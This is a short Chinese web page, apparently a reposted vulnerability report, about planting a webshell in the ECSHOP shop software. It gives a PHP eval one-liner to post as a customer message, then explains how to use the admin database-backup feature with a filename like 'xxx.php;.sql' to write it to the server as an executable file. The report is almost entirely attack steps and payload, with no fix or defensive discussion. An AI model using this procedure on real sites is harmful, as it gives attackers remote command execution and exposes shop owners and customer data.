本文介绍了一个ECSHOP网站程序中存在的安全漏洞，攻击者可以通过在前台留言处输入特定代码并利用数据备份功能，成功上传一句话木马。
ECSHOP网站程序可以绕过权限上传一句话木马
简要描述：
可以绕过权限上传一句话木马
详细说明：
前台留个言，内容是我们的一句话木马：<?php eval($_POST[cmd]);?>
接着在后台系统==>数据库管理==>数据备份==>选择自定义备份，选择ecs_feedback这张表（存放留言的表）
备份文件名：xxx.php;.sql 这种格式来备份
提示成功了。
ECSHOP网站程序可以绕过权限上传一句话木马
最新推荐文章于 2024-02-09 22:30:46 发布
扫一扫
2万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
